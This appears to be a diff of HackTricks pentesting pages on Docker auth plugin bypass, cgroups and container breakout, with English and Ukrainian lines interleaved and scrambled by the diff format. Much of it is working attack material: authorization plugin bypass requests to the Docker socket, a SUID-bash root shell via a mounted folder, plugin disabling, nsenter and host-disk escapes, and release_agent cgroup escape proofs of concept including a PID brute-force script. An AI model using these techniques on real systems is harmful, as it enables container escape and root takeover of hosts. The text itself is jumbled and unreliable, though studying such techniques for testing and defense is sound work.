You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Ви можете знайти **легкий для розуміння плагін** з детальною інформацією про установку та налагодження тут: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Read the `README` and the `plugin.go` code to understand how is it working.
Прочитайте `README` та код `plugin.go`, щоб зрозуміти, як це працює.
# Docker Auth Plugin Bypass
# Обхід плагіна авторизації Docker
## Enumerate access
## Перерахунок доступу
The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**.
Основні речі, які потрібно перевірити, це **які кінцеві точки дозволені** та **які значення HostConfig дозволені**.
To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
Щоб виконати цей перерахунок, ви можете **використати інструмент** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
## disallowed `run --privileged`
### Minimum Privileges
## заборонено `run --privileged`
### Мінімальні привілеї
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### Запуск контейнера, а потім отримання привілейованої сесії
### Running a container and then getting a privileged session
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
У цьому випадку системний адміністратор **заборонив користувачам монтувати томи та запускати контейнери з прапором `--privileged`** або надавати будь-які додаткові можливості контейнеру:
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
However, a user can **create a shell inside the running container and give it the extra privileges**:
Однак, користувач може **створити оболонку всередині запущеного контейнера та надати їй додаткові привілеї**:
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
Тепер користувач може вийти з контейнера, використовуючи будь-яку з [**раніше обговорених технік**](./#privileged-flag) та **підвищити привілеї** всередині хоста.
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host.
## Mount Writable Folder
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
## Монтування записуваної папки
У цьому випадку системний адміністратор **заборонив користувачам запускати контейнери з прапором `--privileged`** або надавати будь-які додаткові можливості контейнеру, і він дозволив лише монтувати папку `/tmp`:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
-p #This will give you a shell as root
```
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> Зверніть увагу, що ви, можливо, не зможете змонтувати папку `/tmp`, але ви можете змонтувати **іншу записувану папку**. Ви можете знайти записувані каталоги за допомогою: `find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **Зверніть увагу, що не всі каталоги в системі linux підтримують біт suid!** Щоб перевірити, які каталоги підтримують біт suid, виконайте `mount | grep -v "nosuid"` Наприклад, зазвичай `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` та `/var/lib/lxcfs` не підтримують біт suid.
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> Також зверніть увагу, що якщо ви можете **змонтувати `/etc`** або будь-яку іншу папку **з конфігураційними файлами**, ви можете змінити їх з контейнера docker як root, щоб **зловживати ними на хості** та підвищити привілеї (можливо, змінивши `/etc/shadow`)
## Unchecked API Endpoint
The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.**
Відповідальність системного адміністратора, який налаштовує цей плагін, полягає в контролі за тим, які дії та з якими привілеями кожен користувач може виконувати. Тому, якщо адміністратор використовує підхід **чорного списку** з кінцевими точками та атрибутами, він може **забути про деякі з них**, які можуть дозволити зловмиснику **підвищити привілеї.**
You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
Ви можете перевірити docker API в [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
## Unchecked JSON Structure
### Binds in root
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
Можливо, коли системний адміністратор налаштовував брандмауер docker, він **забув про деякий важливий параметр** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) такий як "**Binds**".\
У наступному прикладі можливо зловживати цією неконфігурацією, щоб створити та запустити контейнер, який монтує кореневу (/) папку хоста:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
> [!WARNING]
> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`**
> Зверніть увагу, що в цьому прикладі ми використовуємо параметр **`Binds`** як ключ верхнього рівня в JSON, але в API він з'являється під ключем **`HostConfig`**
### Binds in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Слідуйте тим же інструкціям, що й з **Binds in root**, виконуючи цей **request** до Docker API:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### Mounts in root
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Слідуйте тим самим інструкціям, що й з **Binds in root**, виконуючи цей **запит** до Docker API:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### Mounts in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Слідуйте тим самим інструкціям, що й з **Binds in root**, виконуючи цей **запит** до Docker API:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## Unchecked JSON Attribute
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
Можливо, що коли системний адміністратор налаштовував docker firewall, він **забув про деякий важливий атрибут параметра** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList), наприклад, "**Capabilities**" всередині "**HostConfig**". У наступному прикладі можливо зловживати цим неправильним налаштуванням, щоб створити та запустити контейнер з можливістю **SYS_MODULE**:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
```
> [!NOTE]
> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions.
> **`HostConfig`** є ключем, який зазвичай містить **цікаві** **привілеї** для втечі з контейнера. Однак, як ми обговорювали раніше, зверніть увагу, що використання Binds поза ним також працює і може дозволити вам обійти обмеження.
## Disabling Plugin
If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it!
## Вимкнення плагіна
Якщо **системний адміністратор** **забув** **заборонити** можливість **вимкнення** **плагіна**, ви можете скористатися цим, щоб повністю його вимкнути!
```bash
docker plugin list #Enumerate plugins
@ -186,10 +167,9 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
Пам'ятайте, щоб **знову увімкнути плагін після ескалації**, або **перезапуск служби docker не спрацює**!
Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**!
## Auth Plugin Bypass writeups
## Опис обходу плагіна авторизації
- [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)

60
src/linux-hardening/privilege-escalation/docker-security/cgroups.md
View File

@ -4,16 +4,15 @@
## Basic Information
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups.
**Linux Control Groups**, або **cgroups**, є функцією ядра Linux, яка дозволяє виділяти, обмежувати та пріоритизувати системні ресурси, такі як ЦП, пам'ять та дисковий ввід/вивід серед груп процесів. Вони пропонують механізм для **управління та ізоляції використання ресурсів** колекціями процесів, що корисно для таких цілей, як обмеження ресурсів, ізоляція навантаження та пріоритизація ресурсів серед різних груп процесів.
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including:
Існує **дві версії cgroups**: версія 1 та версія 2. Обидві можуть використовуватися одночасно в системі. Основна відмінність полягає в тому, що **cgroups версії 2** вводить **ієрархічну, деревоподібну структуру**, що дозволяє більш тонке та детальне розподілення ресурсів серед груп процесів. Крім того, версія 2 приносить різні покращення, включаючи:
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance.
На додаток до нової ієрархічної організації, cgroups версії 2 також ввела **кілька інших змін та покращень**, таких як підтримка **нових контролерів ресурсів**, краща підтримка застарілих додатків та покращена продуктивність.
Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern.
You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\<pid>. You can start by looking at your shell’s cgroups with this command:
В цілому, cgroups **версія 2 пропонує більше функцій та кращу продуктивність** порівняно з версією 1, але остання все ще може використовуватися в певних сценаріях, де важлива сумісність зі старими системами.
Ви можете перерахувати cgroups v1 та v2 для будь-якого процесу, переглянувши його файл cgroup у /proc/\<pid>. Ви можете почати з перегляду cgroups вашої оболонки за допомогою цієї команди:
```shell-session
$ cat /proc/self/cgroup
12:rdma:/
@ -28,60 +27,53 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
Структура виходу виглядає наступним чином:
The output structure is as follows:
- **Числа 2–12**: cgroups v1, кожен рядок представляє різний cgroup. Контролери для них вказані поруч з номером.
- **Число 1**: Також cgroups v1, але виключно для управлінських цілей (встановлений, наприклад, systemd) і не має контролера.
- **Число 0**: Представляє cgroups v2. Контролери не вказані, і цей рядок є ексклюзивним для систем, які працюють лише з cgroups v2.
- **Імена є ієрархічними**, нагадують файлові шляхи, вказуючи на структуру та взаємозв'язок між різними cgroups.
- **Імена на кшталт /user.slice або /system.slice** вказують на категоризацію cgroups, при цьому user.slice зазвичай призначений для сеансів входу, які керуються systemd, а system.slice для системних служб.
- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number.
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
### Перегляд cgroups
### Viewing cgroups
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
Файлова система зазвичай використовується для доступу до **cgroups**, відхиляючись від інтерфейсу системних викликів Unix, традиційно використовуваного для взаємодії з ядром. Щоб дослідити конфігурацію cgroup оболонки, слід перевірити файл **/proc/self/cgroup**, який показує cgroup оболонки. Потім, перейшовши до каталогу **/sys/fs/cgroup** (або **`/sys/fs/cgroup/unified`**) і знайти каталог, що має таку ж назву, можна спостерігати різні налаштування та інформацію про використання ресурсів, що стосується cgroup.
![Cgroup Filesystem](<../../../images/image (1128).png>)
The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information.
Ключові інтерфейсні файли для cgroups мають префікс **cgroup**. Файл **cgroup.procs**, який можна переглянути за допомогою стандартних команд, таких як cat, перераховує процеси в cgroup. Інший файл, **cgroup.threads**, містить інформацію про потоки.
![Cgroup Procs](<../../../images/image (281).png>)
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup.
Cgroups, що керують оболонками, зазвичай охоплюють два контролери, які регулюють використання пам'яті та кількість процесів. Щоб взаємодіяти з контролером, слід звертатися до файлів з префіксом контролера. Наприклад, **pids.current** буде використано для визначення кількості потоків у cgroup.
![Cgroup Memory](<../../../images/image (677).png>)
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy.
Вказівка **max** у значенні свідчить про відсутність конкретного обмеження для cgroup. Однак, через ієрархічну природу cgroups, обмеження можуть бути накладені cgroup на нижчому рівні в ієрархії каталогів.
### Manipulating and Creating cgroups
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
### Маніпулювання та створення cgroups
Процеси призначаються cgroups шляхом **запису їх ідентифікатора процесу (PID) у файл `cgroup.procs`**. Це вимагає прав root. Наприклад, щоб додати процес:
```bash
echo [pid] > cgroup.procs
```
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
Аналогічно, **модифікація атрибутів cgroup, таких як встановлення обмеження PID**, виконується шляхом запису бажаного значення у відповідний файл. Щоб встановити максимальну кількість 3,000 PID для cgroup:
```bash
echo 3000 > pids.max
```
**Створення нових cgroups** передбачає створення нового підкаталогу в ієрархії cgroup, що спонукає ядро автоматично генерувати необхідні файли інтерфейсу. Хоча cgroups без активних процесів можна видалити за допомогою `rmdir`, будьте обережні з певними обмеженнями:
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints:
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy).
- **A cgroup cannot possess a controller absent in its parent**.
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
- **Процеси можуть бути розміщені лише в листових cgroups** (тобто, найбільш вкладених у ієрархії).
- **Cgroup не може мати контролера, відсутнього в його батьківському**.
- **Контролери для дочірніх cgroups повинні бути явно оголошені** у файлі `cgroup.subtree_control`. Наприклад, щоб увімкнути контролери CPU та PID у дочірньому cgroup:
```bash
echo "+cpu +pids" > cgroup.subtree_control
```
**root cgroup** є винятком з цих правил, дозволяючи пряме розміщення процесів. Це можна використовувати для видалення процесів з управління systemd.
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management.
**Моніторинг використання CPU** в межах cgroup можливий через файл `cpu.stat`, який відображає загальний час використання CPU, що корисно для відстеження використання серед підпроцесів служби:
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses:
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>CPU usage statistics as shown in the cpu.stat file</p></figcaption></figure>
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>Статистика використання CPU, як показано у файлі cpu.stat</p></figcaption></figure>
## References

322
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
View File

@ -2,35 +2,24 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Автоматична енумерація та втеча
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Він також може **енумерувати контейнери**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Цей інструмент досить **корисний для енумерації контейнера, в якому ви знаходитесь, навіть намагаючись втекти автоматично**
- [**amicontained**](https://github.com/genuinetools/amicontained): Корисний інструмент для отримання привілеїв, які має контейнер, щоб знайти способи втечі з нього
- [**deepce**](https://github.com/stealthcopter/deepce): Інструмент для енумерації та втечі з контейнерів
- [**grype**](https://github.com/anchore/grype): Отримати CVE, що містяться в програмному забезпеченні, встановленому в образі
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## Automatic Enumeration & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
## Mounted Docker Socket Escape
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
## Втеча з змонтованого сокета Docker
Якщо ви якимось чином виявите, що **сокет docker змонтовано** всередині контейнера docker, ви зможете втекти з нього.\
Це зазвичай трапляється в контейнерах docker, які з якоїсь причини потребують підключення до демона docker для виконання дій.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
In this case you can use regular docker commands to communicate with the docker daemon:
У цьому випадку ви можете використовувати звичайні команди docker для зв'язку з демоном docker:
```bash
#List images to use one
docker images
@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> У випадку, якщо **docker socket знаходиться в несподіваному місці**, ви все ще можете взаємодіяти з ним, використовуючи команду **`docker`** з параметром **`-H unix:///path/to/docker.sock`**
Docker daemon також може [слухати на порту (за замовчуванням 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) або на системах, що базуються на Systemd, взаємодія з Docker daemon може відбуватися через сокет Systemd `fd://`.
> [!NOTE]
> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
> [!NOTE]
> Additionally, pay attention to the runtime sockets of other high-level runtimes:
> Додатково зверніть увагу на сокети виконання інших високорівневих середовищ:
>
> - dockershim: `unix:///var/run/dockershim.sock`
> - containerd: `unix:///run/containerd/containerd.sock`
@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../
> - rktlet: `unix:///var/run/rktlet.sock`
> - ...
## Capabilities Abuse Escape
## Зловживання можливостями
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
You can check currently container capabilities using **previously mentioned automatic tools** or:
Вам слід перевірити можливості контейнера, якщо він має будь-які з наступних, ви можете мати можливість втекти з нього: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Ви можете перевірити поточні можливості контейнера, використовуючи **раніше згадані автоматичні інструменти** або:
```bash
capsh --print
```
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
На наступній сторінці ви можете **дізнатися більше про можливості linux** та як їх зловживати для втечі/ескалації привілеїв:
{{#ref}}
../../linux-capabilities.md
{{#endref}}
## Escape from Privileged Containers
## Втеча з привілейованих контейнерів
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
Привілейований контейнер може бути створений з прапором `--privileged` або шляхом вимкнення певних захистів:
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling
- `--cgroupns=host`
- `Mount /dev`
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts.
Прапор `--privileged` значно знижує безпеку контейнера, пропонуючи **необмежений доступ до пристроїв** та обходячи **кілька захистів**. Для детального розгляду зверніться до документації про повні наслідки `--privileged`.
{{#ref}}
../docker-privileged.md
{{#endref}}
### Privileged + hostPID
### Привілейований + hostPID
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
З цими дозволами ви можете просто **перейти до простору імен процесу, що виконується на хості як root**, наприклад init (pid:1), просто виконавши: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Перевірте це в контейнері, виконавши:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Привілейований
### Privileged
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**.
Test the following bypasses in a container executing:
Просто з прапором привілеїв ви можете спробувати **отримати доступ до диска хоста** або спробувати **втекти, зловживаючи release_agent або іншими способами втечі**.
Перевірте наступні обходи в контейнері, виконавши:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Монтування диска - Poc1
#### Mounting Disk - Poc1
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
Добре налаштовані docker контейнери не дозволять команди на кшталт **fdisk -l**. Однак на неправильно налаштованій docker команді, де вказано прапор `--privileged` або `--device=/dev/sda1` з великими літерами, можливо отримати привілеї для перегляду диска хоста.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
So to take over the host machine, it is trivial:
Отже, щоб захопити хост-машину, це тривіально:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
І ось! Тепер ви можете отримати доступ до файлової системи хоста, оскільки вона змонтована в папці `/mnt/hola`.
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
#### Монтування диска - Poc2
Усередині контейнера зловмисник може спробувати отримати подальший доступ до основної ОС хоста через записуваний том hostPath, створений кластером. Нижче наведено деякі загальні речі, які ви можете перевірити в контейнері, щоб дізнатися, чи можете ви скористатися цим вектором атаки:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Привілейоване втеча Зловживання існуючим release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Привілейоване втеча з використанням створеного release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
Find an **explanation of the technique** in:
Знайдіть **пояснення техніки** в:
{{#ref}}
docker-release_agent-cgroups-escape.md
{{#endref}}
#### Privileged Escape Abusing release_agent without known the relative path - PoC3
#### Привілейоване втеча, що використовує release_agent без відомого відносного шляху - PoC3
In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique:
У попередніх експлойтах **абсолютний шлях контейнера всередині файлової системи хоста розкритий**. Однак це не завжди так. У випадках, коли ви **не знаєте абсолютний шлях контейнера всередині хоста**, ви можете використовувати цю техніку:
{{#ref}}
release_agent-exploit-relative-paths-to-pids.md
{{#endref}}
```bash
#!/bin/sh
@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -309,9 +282,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Executing the PoC within a privileged container should provide output similar to:
Виконання PoC в привілейованому контейнері має надати вихід, подібний до:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -339,37 +310,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Привілейоване Втеча Зловживанням Чутливими Монтуваннями
#### Privileged Escape Abusing Sensitive Mounts
Є кілька файлів, які можуть бути змонтовані, що надають **інформацію про основний хост**. Деякі з них можуть навіть вказувати **щось, що має бути виконано хостом, коли щось трапляється** (що дозволить зловмиснику втекти з контейнера).\
Зловживання цими файлами може дозволити:
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
The abuse of these files may allow that:
- release_agent (already covered before)
- release_agent (вже розглянуто раніше)
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
